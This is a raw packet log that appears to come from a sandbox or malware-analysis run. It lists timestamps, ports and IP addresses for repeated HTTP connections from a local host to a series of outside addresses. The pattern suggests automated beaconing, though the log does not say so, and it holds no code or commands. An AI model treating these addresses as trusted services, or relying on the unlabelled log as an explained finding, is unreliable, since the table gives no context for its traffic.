Nov 20, 2024 16:55:22.299292088 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299376965 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.299376965 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.301678896 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.301852942 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.301866055 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.301940918 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.302012920 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.302289009 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.309984922 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.310128927 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.313163996 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:22.435650110 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:28.244266987 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:28.364973068 CET	80	49985	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:28.365587950 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:28.380795002 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:28.502284050 CET	80	49985	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:29.630335093 CET	80	49985	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:29.630358934 CET	80	49985	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:29.630381107 CET	80	49985	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:29.630412102 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:29.630454063 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:29.892281055 CET	49985	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:30.943847895 CET	49993	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:31.063750982 CET	80	49993	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:31.063829899 CET	49993	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:31.094716072 CET	49993	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:31.217123985 CET	80	49993	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:32.286128044 CET	80	49993	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:32.286179066 CET	80	49993	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:32.286197901 CET	80	49993	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:32.286267042 CET	49993	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:32.630258083 CET	49993	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:33.645596981 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:33.769217014 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:33.774552107 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:33.790893078 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:33.913348913 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:33.914987087 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:34.993669987 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:34.993690968 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:34.993745089 CET	80	49995	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:34.993761063 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:34.993844032 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:35.298583031 CET	49995	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:36.317671061 CET	49996	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:36.439155102 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:36.440862894 CET	49996	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:36.450654030 CET	49996	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:36.570558071 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:37.658292055 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:37.658318996 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:37.658330917 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:37.658446074 CET	49996	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:37.663300991 CET	49996	80	192.168.2.11	98.124.224.17
Nov 20, 2024 16:55:37.783009052 CET	80	49996	98.124.224.17	192.168.2.11
Nov 20, 2024 16:55:43.237642050 CET	49997	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:43.357285976 CET	80	49997	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:43.357454062 CET	49997	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:43.373070955 CET	49997	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:43.498333931 CET	80	49997	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:44.638000011 CET	80	49997	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:44.638173103 CET	80	49997	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:44.639344931 CET	49997	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:44.877085924 CET	49997	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:45.896815062 CET	49998	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:46.020170927 CET	80	49998	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:46.020277977 CET	49998	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:46.038263083 CET	49998	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:46.158551931 CET	80	49998	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:47.294482946 CET	80	49998	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:47.294511080 CET	80	49998	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:47.294594049 CET	49998	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:47.548619032 CET	49998	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:48.568737030 CET	49999	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:48.688597918 CET	80	49999	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:48.690454960 CET	49999	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:48.708125114 CET	49999	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:48.828582048 CET	80	49999	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:48.828598976 CET	80	49999	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:50.040666103 CET	80	49999	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:50.040687084 CET	80	49999	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:50.046305895 CET	49999	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:50.222280979 CET	49999	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:51.241122007 CET	50000	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:51.360860109 CET	80	50000	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:51.360970974 CET	50000	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:51.375801086 CET	50000	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:51.495593071 CET	80	50000	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:52.637221098 CET	80	50000	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:52.637243032 CET	80	50000	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:52.637402058 CET	50000	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:52.640508890 CET	50000	80	192.168.2.11	203.161.43.228
Nov 20, 2024 16:55:52.760317087 CET	80	50000	203.161.43.228	192.168.2.11
Nov 20, 2024 16:55:58.840003014 CET	50001	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:55:58.959760904 CET	80	50001	103.224.182.242	192.168.2.11
Nov 20, 2024 16:55:58.959886074 CET	50001	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:55:58.974507093 CET	50001	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:55:59.094386101 CET	80	50001	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:00.289736032 CET	80	50001	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:00.289769888 CET	80	50001	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:00.289916039 CET	50001	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:00.486295938 CET	50001	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:01.507256031 CET	50002	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:01.627542973 CET	80	50002	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:01.627650023 CET	50002	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:01.642092943 CET	50002	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:01.762372971 CET	80	50002	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:02.889866114 CET	80	50002	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:02.889894962 CET	80	50002	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:02.889986038 CET	50002	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:03.158416033 CET	50002	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:04.177124977 CET	50003	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:04.296931982 CET	80	50003	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:04.297070980 CET	50003	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:04.313740969 CET	50003	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:04.436176062 CET	80	50003	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:04.442292929 CET	80	50003	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:05.733294964 CET	80	50003	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:05.733366966 CET	80	50003	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:05.733561039 CET	50003	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:05.814349890 CET	50003	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:06.833165884 CET	50004	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:06.954411983 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:06.958679914 CET	50004	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:06.973932981 CET	50004	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:07.095505953 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:08.272437096 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:08.272510052 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:08.272526026 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:08.272690058 CET	50004	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:08.275801897 CET	50004	80	192.168.2.11	103.224.182.242
Nov 20, 2024 16:56:08.400419950 CET	80	50004	103.224.182.242	192.168.2.11
Nov 20, 2024 16:56:14.042313099 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:14.501431942 CET	80	50005	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:14.502415895 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:14.525746107 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:14.645997047 CET	80	50005	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:15.690228939 CET	80	50005	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:15.690253973 CET	80	50005	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:15.690310001 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:15.690339088 CET	80	50005	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:15.690370083 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:16.034630060 CET	50005	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:17.053843021 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:17.174098969 CET	80	50006	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:17.174189091 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:17.193734884 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:17.313306093 CET	80	50006	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:18.363274097 CET	80	50006	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:18.363298893 CET	80	50006	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:18.363321066 CET	80	50006	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:18.363418102 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:18.363418102 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:18.706343889 CET	50006	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:19.724838972 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:19.844474077 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:19.845170975 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:19.862993956 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:19.984644890 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:19.984880924 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:20.993493080 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:20.993572950 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:20.993660927 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:20.993737936 CET	80	50007	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:20.993885994 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:21.376755953 CET	50007	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:22.396650076 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:22.516638994 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:22.520467997 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:22.529843092 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:22.650473118 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:23.664572954 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:23.664628983 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:23.664648056 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:23.664772034 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:23.664819956 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:23.667301893 CET	50008	80	192.168.2.11	199.59.243.227
Nov 20, 2024 16:56:23.788737059 CET	80	50008	199.59.243.227	192.168.2.11
Nov 20, 2024 16:56:29.313375950 CET	50009	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:29.432986975 CET	80	50009	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:29.433068991 CET	50009	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:29.451134920 CET	50009	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:29.570765972 CET	80	50009	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:30.536516905 CET	80	50009	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:30.536900043 CET	50009	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:30.954948902 CET	50009	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:31.080138922 CET	80	50009	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:31.977997065 CET	50010	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:32.100924015 CET	80	50010	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:32.101069927 CET	50010	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:32.117017031 CET	50010	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:32.237526894 CET	80	50010	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:33.246777058 CET	80	50010	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:33.246856928 CET	50010	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:33.626780033 CET	50010	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:33.746380091 CET	80	50010	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:34.646267891 CET	50011	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:34.765969038 CET	80	50011	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:34.766088963 CET	50011	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:34.781539917 CET	50011	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:34.901170015 CET	80	50011	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:34.901186943 CET	80	50011	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:35.914720058 CET	80	50011	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:35.914983988 CET	50011	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:36.286493063 CET	50011	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:36.406266928 CET	80	50011	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:37.304478884 CET	50012	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:37.427484989 CET	80	50012	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:37.427570105 CET	50012	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:37.440304041 CET	50012	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:37.561165094 CET	80	50012	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:38.575033903 CET	80	50012	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:38.575089931 CET	80	50012	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:38.575238943 CET	50012	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:38.578250885 CET	50012	80	192.168.2.11	13.248.169.48
Nov 20, 2024 16:56:38.705370903 CET	80	50012	13.248.169.48	192.168.2.11
Nov 20, 2024 16:56:44.251597881 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:44.371134043 CET	80	50013	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:44.371288061 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:44.386914968 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:44.507134914 CET	80	50013	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:45.892604113 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:45.940375090 CET	80	50013	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:45.940438986 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:45.940633059 CET	80	50013	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:45.940697908 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:46.016175985 CET	80	50013	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:46.016320944 CET	50013	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:46.921921015 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:47.041676044 CET	80	50014	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:47.041826963 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:47.061878920 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:47.185075045 CET	80	50014	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:48.564404964 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:48.616821051 CET	80	50014	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:48.616954088 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:48.617197990 CET	80	50014	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:48.617252111 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:48.685832977 CET	80	50014	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:48.685902119 CET	50014	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:49.623934031 CET	50015	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:49.746825933 CET	80	50015	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:49.746922016 CET	50015	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:49.860483885 CET	50015	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:49.980159044 CET	80	50015	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:49.980228901 CET	80	50015	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:51.363568068 CET	80	50015	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:51.363656998 CET	80	50015	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:51.363713026 CET	50015	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:51.376795053 CET	50015	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:52.415349007 CET	50016	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:52.535310030 CET	80	50016	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:52.535479069 CET	50016	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:52.546979904 CET	50016	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:52.666717052 CET	80	50016	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:54.132671118 CET	80	50016	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:54.133050919 CET	80	50016	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:54.133157015 CET	50016	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:54.136514902 CET	50016	80	192.168.2.11	38.47.232.194
Nov 20, 2024 16:56:54.257189035 CET	80	50016	38.47.232.194	192.168.2.11
Nov 20, 2024 16:56:59.618371010 CET	50017	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:56:59.742876053 CET	80	50017	172.67.159.24	192.168.2.11
Nov 20, 2024 16:56:59.742953062 CET	50017	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:56:59.760895967 CET	50017	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:56:59.883832932 CET	80	50017	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:00.972490072 CET	80	50017	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:00.972517014 CET	80	50017	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:00.972534895 CET	80	50017	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:00.972632885 CET	50017	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:01.267503023 CET	50017	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:02.289532900 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:02.412898064 CET	80	50018	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:02.413000107 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:02.428574085 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:02.552100897 CET	80	50018	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:03.655211926 CET	80	50018	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:03.655276060 CET	80	50018	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:03.655324936 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:03.655766010 CET	80	50018	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:03.655810118 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:03.939330101 CET	50018	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:04.962454081 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:05.084619999 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:05.084723949 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:05.099891901 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:05.219660044 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:05.219677925 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:06.447819948 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:06.447949886 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:06.448067904 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:06.448564053 CET	80	50019	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:06.452560902 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:06.611244917 CET	50019	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:07.641102076 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:07.762496948 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:07.762614012 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:07.774820089 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:07.894659042 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:09.031634092 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:09.031687021 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:09.031727076 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:09.031955004 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:09.032361984 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:09.033556938 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:09.037062883 CET	50020	80	192.168.2.11	172.67.159.24
Nov 20, 2024 16:57:09.161570072 CET	80	50020	172.67.159.24	192.168.2.11
Nov 20, 2024 16:57:14.793492079 CET	50021	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:14.916534901 CET	80	50021	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:14.916692972 CET	50021	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:14.932281017 CET	50021	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:15.051928997 CET	80	50021	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:16.084970951 CET	80	50021	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:16.085067034 CET	50021	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:16.440804005 CET	50021	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:16.564183950 CET	80	50021	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:17.459619045 CET	50022	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:17.579273939 CET	80	50022	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:17.579365015 CET	50022	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:17.605170012 CET	50022	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:17.724889994 CET	80	50022	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:18.784195900 CET	80	50022	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:18.784281015 CET	50022	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:19.114484072 CET	50022	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:19.234172106 CET	80	50022	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:20.131088972 CET	50023	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:20.252856970 CET	80	50023	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:20.253360987 CET	50023	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:20.268230915 CET	50023	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:20.391396999 CET	80	50023	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:20.392072916 CET	80	50023	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:21.459163904 CET	80	50023	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:21.459218979 CET	50023	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:21.783189058 CET	50023	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:21.902776003 CET	80	50023	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:22.804971933 CET	50024	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:22.925383091 CET	80	50024	208.91.197.27	192.168.2.11
Nov 20, 2024 16:57:22.925509930 CET	50024	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:57:22.938503027 CET	50024	80	192.168.2.11	208.91.197.27
